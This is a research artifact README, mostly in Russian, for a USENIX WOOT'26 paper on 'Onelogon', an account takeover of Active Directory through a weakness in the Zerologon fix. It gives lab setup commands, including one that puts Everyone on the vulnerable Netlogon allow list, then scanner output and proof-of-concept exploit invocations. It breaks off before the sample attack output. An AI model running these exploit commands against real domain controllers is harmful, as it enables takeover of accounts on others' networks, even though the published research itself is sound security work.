
Код и данные для нашей статьи «Onelogon: Taking over Active Directory Accounts via Netlogon» (WOOT’26).
Этот репозиторий содержит код и данные, сопровождающие нашу статью Onelogon: захват учетных записей Active Directory через Netlogon (WOOT'26).
Уязвимость, описанная в нашей статье, атакует слабое место в криптографическом исправлении 2020 года для уязвимости Zerologon. Учетные записи, перечисленные в групповой политике, предназначенной для обеспечения поддержки устаревших конфигураций, не поддерживающих подпись и шифрование Netlogon, уязвимы для этой атаки. Подробное описание уязвимости, ожидаемая полная цепочка атаки и возможные меры смягчения приведены в статье.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
Артефакт представляет собой Python-проект на базе poetry для сканера и эксплойтов.
Чтобы запустить скрипты, предоставляемые с артефактом, установите Python (3.12 или новее) и либо poetry (инструкции), либо uv (инструкции). Для простоты мы приводим команды в предположении, что вы используете poetry; если вы выберете uv, просто замените все упоминания poetry на uv.
Все команды из этого документа следует выполнять в корневом каталоге артефакта (там, где находится этот README).
Если вы используете poetry, выполните poetry install для установки всех зависимостей.
Чтобы воспроизвести результаты статьи, вы можете развернуть контроллер домена с использованием версии Windows Server, в которой исправлен Zerologon (мы проверили эксплойт как для версии 2019, так и для версии 2025).
Чтобы настроить контроллер домена в новой установке Windows Server 2025, выполните следующие команды:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
Уязвимость применима к любой учетной записи, перечисленной в DACL в объекте групповой политики Domain Controller: Allow vulnerable Netlogon secure channel connections или в соответствующем разделе реестра:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Вы можете настроить эти параметры вручную на контроллере домена (не забудьте выполнить gpupdate /force, если вы обновляете запись GPO), или выполнить следующую команду, чтобы добавить все учетные записи в DACL в разделе реестра:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Чтобы определить, какие учетные записи контроллер домена перечисляет в своем VulnerableChannelAllowList, мы предоставляем сканер, который анализирует куст реестра и общую папку тома GPO контроллера домена.
Обратите внимание, что доступ к реестру для этого сканирования требует прав администратора домена (эксплойт, разумеется, не требует).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
Положительный результат сканирования (на контроллере домена есть уязвимые учетные записи) отразит дескриптор безопасности, содержащий уязвимые учетные записи (в языке описания дескрипторов безопасности Microsoft):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Отрицательный результат (целевой DC не уязвим) вместо этого будет выглядеть так:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Чтобы запустить эксплойт proof-of-concept против целевого контроллера домена, сначала выберите уязвимую учетную запись. Вам понадобятся IP-адрес контроллера домена, его имя узла и имя уязвимой учетной записи.
В нашей примерной настройке уязвимый контроллер домена называется DC.
Его учетная запись компьютера (DC$) включена в политику GPO и поэтому уязвима к Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
В качестве иллюстрации мы приводим вывод успешного запуска атаки встречи посередине против тестового окружения: